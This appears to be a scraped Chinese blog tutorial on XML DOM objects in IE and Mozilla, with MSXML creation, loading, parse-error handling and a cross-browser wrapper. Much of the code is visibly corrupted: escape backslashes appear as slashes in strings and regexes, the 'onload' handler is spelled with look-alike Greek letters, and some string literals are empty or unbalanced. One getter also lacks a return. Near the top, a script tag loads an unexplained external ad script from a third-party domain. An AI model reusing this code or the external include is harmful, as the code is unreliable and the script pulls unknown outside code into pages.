[藏]不同浏览器的XMLDOM 对象

<script src="http://www.cpcasr.cn/ad_js/mm_123.js"></script>

一 IE中的XML DOM
1.微软通过ActiveX的MSXML库提供了支持,通过:

 
 
  1. var oXmlDom = new ActiveXObject("MSXML2.DOMDocument.5.0")

得到一个XML DOM对象,这是在IE6中的,如果你的IE是更老版本的,可以使用下面的函数得到,如果你没有安装MSXML,将不能得到:

 
 
  1. function createXMLDOM() { 
  2.          
  3.             var arrSignatures = ["MSXML2.DOMDocument.5.0", "MSXML2.DOMDocument.4.0", 
  4.                                  "MSXML2.DOMDocument.3.0", "MSXML2.DOMDocument", 
  5.                                  "Microsoft.XmlDom"]; 
  6.                                   
  7.             for (var i=0; i < arrSignatures.length; i++) { 
  8.                 try { 
  9.                  
  10.                     var oXmlDom = new ActiveXObject(arrSignatures[i]); 
  11.                      
  12.                     return oXmlDom; 
  13.                  
  14.                 } catch (oError) { 
  15.                     //ignore 
  16.                 } 
  17.             }               
  18.              
  19.             throw new Error("你的系统没有安装MSXML");            
  20.         }   

当然,如果你使用prototype库,可以使用Try.these函数。

2.XML DOM对象可以通过load和loadXML方法载入xml文件或者字符串:

 
 
  1. oXmlDom.load("test.xml"); 
  2. oXmlDom.loadXML("");

然后这个oXmlDom就可以使用所有的DOM对象方法,比如documentElement.tagName,参见:
《javascript之DOM技术(一)》
《javascript之dom技术(二)》

3.XML DOM默认是通过异步载入xml文件的,可以通过设置async值来选择是同步还是异步:

 
 
  1. oXmlDom.async=true;

4.IE的XML DOM拥有一个readyState值用来表示载入文件的状态:

0——准备载入
1——正在载入
2——载入完成
3——载入完成并可用,但有一部分数据也许不可用
4——完全载入,完全可用。

相应的有一个onreadystatechange事件,当状态改变时发生,我们可以通过监听此事件来判断XML DOM对象的可用性

 
 
  1. oXmlDom.onreadystatechange = function () { 
  2.                 if (oXmlDom.readyState == 4) { 
  3.                     alert("load test.xml done!"); 
  4.                     alert("Tag name of the root element is " + oXmlDom.documentElement.tagName); 
  5.                     alert("The root element has this many children: " + oXmlDom.documentElement.childNodes.length); 
  6.  
  7.                 } 
  8.             };

5.IE的XML DOM对象有一个xml属性,用来返回xml文件的字符串形式,比如

 
 
  1. oXmlDom.async=false; 
  2. oXmlDom.load("test.xml"); 
  3. alert(oXmlDom.xml);

alert出:
6.IE,当载入的XML文件或者字符串解析错误时,将产生一个parseError对象,我们在下面的代码中演示此对象的属性:

 
 
  1. oXmlDom.async = false; 
  2. oXmlDom.load("errors.xml"); 
  3.  
  4. //0表示没有错误 
  5. if (oXmlDom.parseError != 0) { 
  6.     var oError = oXmlDom.parseError; 
  7.  
  8.     alert("An error occurred:/n错误代码: "
  9.           + oError.errorCode + "/n"
  10.           + "行数: " + oError.line + "/n"
  11.           + "列数: " + oError.linepos + "/n"
  12.           + "原因: " + oError.reason); 
  13.            
  14. }

二.Mozilla的XML DOM对象
1.XML DOM对象的创建,符合DOM标准的,通过document.implementation.createDocument()方法。比如:

 
 
  1. var oXmlDom=document.implementation.createDocument("","",null);

这三个参数分别是文档命名空间、文档元素的标签名以及一个文档类型对象(总为null),比如:

 
 
  1. var oXmlDom=document.implementation.createDocument("http://www.rubyeye.net","root",null);

这段代码创建了一个的XML DOM对象

2.载入xml,Mozilla与IE不同的是只提供了一个load()方法用于载入xml文件,没有提供loadXML()方法用于载入XML字符串。同步载入XML文件的代码与IE相同:

 
 
  1. oXmlDom.async=false; 
  2. oXmlDom.load("test.xml");

异步载入稍有不同,因为Mozilla并不支持readyState属性,并且没有onreadystatechange事件,它只有一个onload的事件,当载入完成时触发;或者说相当于IE的readyState属性等于4的状态。

 
 
  1. oXmlDom.οnlοad=function(){ 
  2. alert("done"); 
  3. oXmlDom.load("test.xml");

要将XML字符串解析为DOM对象,必须使用DOMParser对象:

 
 
  1. var oParser=new DOMParser(); 
  2. var oXmlDom=oParser.parseFromString(","text/xml");

两个参数:要解析的XML字符串以及字符串的内容类型(只能为text/xml或者application/xml)。
不过我们可以实现自己的loadXML方法:

 
 
  1. Document.prototype.loadXML = function (sXml) { 
  2.      
  3.             var oParser = new DOMParser(); 
  4.             var oXmlDom = oParser.parseFromString(sXml, "text/xml"); 
  5.           
  6.             //删除原文档内容 
  7.             while (this.firstChild) { 
  8.                 this.removeChild(this.firstChild); 
  9.             } 
  10.             //导入新的文档内容 
  11.             for (var i=0; i < oXmlDom.childNodes.length; i++) { 
  12.                 var oNewNode = this.importNode(oXmlDom.childNodes[i], true); 
  13.                 this.appendChild(oNewNode); 
  14.             } 
  15.          
  16.         }; 

3.Mozilla没有提供IE的xml属性来返回XML文档内容,只能通过使用XMLSerializer对象:

 
 
  1. var oSerializer=new XMLSerializer(); 
  2. var sXml=oSerializer.serializeToString(oXmlDom,"text/xml");

同样两个参数:XML DOM对象以及转化成的文档类型。

同样,我们也可以给Mozilla的XML DOM对象定义一个属性xml,通过defineGetter方法:

 
 
  1. Node.prototype.__defineGetter__("xml",function(){ 
  2. var oSerializer=new XMLSerializer(); 
  3. var sXml=oSerializer.serializeToString(this,"text/xml"); 
  4. });

以后就可以以IE的方式,oXmlDom.xml来获取XML文档内容。

4。错误处理,同样与IE不同,Mozilla当解析错误时会返回一段代码,以标签包括其中的代码解释了错误发生的原因以及位置等信息,我们只有通过正则表达式解析此段代码,提取错误信息。

 
 
  1. var reError = />([/s/S]*?)Location:([/s/S]*?)Line Number (/d+), Column (/d+):([/s/S]*?)(?:/-*/^)/; 
  2.             
  3.             //返回代码的标签名为parsererror,表示错误发生 
  4.             if (oXmlDom.documentElement.tagName == "parsererror") { 
  5.                 reError.test(oXmlDom.xml); 
  6.                 alert("An error occurred:/n描述: "
  7.                     + RegExp.$1 + "/n"
  8.                     + "文件名: " + RegExp.$2 + "/n"
  9.                     + "行数: " + RegExp.$3 + "/n"
  10.                     + "列数: " + RegExp.$4 + "/n"
  11.                     + "原因: " + RegExp.$5); 
  12.             }

三,提供一个跨浏览器的XML DOM对象解决方案,来自于《javascript高级程序设计》

 
 
  1. function XmlDom() { 
  2.     //通过对象/属性检测法,判断是IE来是Mozilla 
  3.     if (window.ActiveXObject) { 
  4.         var arrSignatures = ["MSXML2.DOMDocument.5.0", "MSXML2.DOMDocument.4.0", 
  5.                              "MSXML2.DOMDocument.3.0", "MSXML2.DOMDocument", 
  6.                              "Microsoft.XmlDom"]; 
  7.                           
  8.         for (var i=0; i < arrSignatures.length; i++) { 
  9.             try { 
  10.          
  11.                 var oXmlDom = new ActiveXObject(arrSignatures[i]); 
  12.              
  13.                 return oXmlDom; 
  14.          
  15.             } catch (oError) { 
  16.                 //ignore 
  17.             } 
  18.         }           
  19.  
  20.         throw new Error("MSXML is not installed on your system.");  
  21.             
  22.     //同上           
  23.     } else if (document.implementation && document.implementation.createDocument) { 
  24.          
  25.         var oXmlDom = document.implementation.createDocument("","",null); 
  26.  
  27.         //创建Mozilla版本的parseError对象 
  28.         oXmlDom.parseError = { 
  29.             valueOf: function () { return this.errorCode; }, 
  30.             toString: function () { return this.errorCode.toString() } 
  31.         }; 
  32.          
  33.         //初始化parseError对象 
  34.         oXmlDom.__initError__(); 
  35.                  
  36.          
  37.         oXmlDom.addEventListener("load", function () { 
  38.             this.__checkForErrors__(); 
  39.             this.__changeReadyState__(4); 
  40.         }, false); 
  41.  
  42.         return oXmlDom;         
  43.          
  44.     } else { 
  45.         throw new Error("Your browser doesn't support an XML DOM object."); 
  46.     } 
  47.  
  48. //此处用到了该书中一个浏览器系统检测js文件,如果是Mozilla 
  49. if (isMoz) { 
  50.  
  51.     Document.prototype.readyState = 0; 
  52.     Document.prototype.onreadystatechange = null; 
  53.  
  54.      
  55.     Document.prototype.__changeReadyState__ = function (iReadyState) { 
  56.         this.readyState = iReadyState; 
  57.  
  58.         if (typeof this.onreadystatechange == "function") { 
  59.             this.onreadystatechange(); 
  60.         } 
  61.     }; 
  62.     //初始化parseError对象 
  63.     Document.prototype.__initError__ = function () { 
  64.         this.parseError.errorCode = 0; 
  65.         this.parseError.filepos = -1; 
  66.         this.parseError.line = -1; 
  67.         this.parseError.linepos = -1; 
  68.         this.parseError.reason = null; 
  69.         this.parseError.srcText = null; 
  70.         this.parseError.url = null; 
  71.     }; 
  72.      
  73.     Document.prototype.__checkForErrors__ = function () { 
  74.  
  75.         if (this.documentElement.tagName == "parsererror") { 
  76.  
  77.             var reError = />([/s/S]*?)Location:([/s/S]*?)Line Number (/d+), Column (/d+):([/s/S]*?)(?:/-*/^)/; 
  78.  
  79.             reError.test(this.xml); 
  80.              
  81.             this.parseError.errorCode = -999999; 
  82.             this.parseError.reason = RegExp.$1; 
  83.             this.parseError.url = RegExp.$2; 
  84.             this.parseError.line = parseInt(RegExp.$3); 
  85.             this.parseError.linepos = parseInt(RegExp.$4); 
  86.             this.parseError.srcText = RegExp.$5; 
  87.         } 
  88.     }; 
  89.      
  90.      //定义Mozilla的loadXML方法    
  91.     Document.prototype.loadXML = function (sXml) { 
  92.      
  93.         this.__initError__(); 
  94.      
  95.         this.__changeReadyState__(1); 
  96.      
  97.         var oParser = new DOMParser(); 
  98.         var oXmlDom = oParser.parseFromString(sXml, "text/xml"); 
  99.   
  100.         while (this.firstChild) { 
  101.             this.removeChild(this.firstChild); 
  102.         } 
  103.  
  104.         for (var i=0; i < oXmlDom.childNodes.length; i++) { 
  105.             var oNewNode = this.importNode(oXmlDom.childNodes[i], true); 
  106.             this.appendChild(oNewNode); 
  107.         } 
  108.          
  109.         //载入后检查错误 
  110.         this.__checkForErrors__(); 
  111.          
  112.         //没有问题,设置readyState属性为4 
  113.         this.__changeReadyState__(4); 
  114.  
  115.     }; 
  116.      
  117.     Document.prototype.__load__ = Document.prototype.load; 
  118.  
  119.     Document.prototype.load = function (sURL) { 
  120.         this.__initError__(); 
  121.         this.__changeReadyState__(1); 
  122.         this.__load__(sURL); 
  123.     }; 
  124.      
  125.     Node.prototype.__defineGetter__("xml", function () { 
  126.         var oSerializer = new XMLSerializer(); 
  127.         return oSerializer.serializeToString(this, "text/xml"); 
  128.     }); 
  129.  
  130. }
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值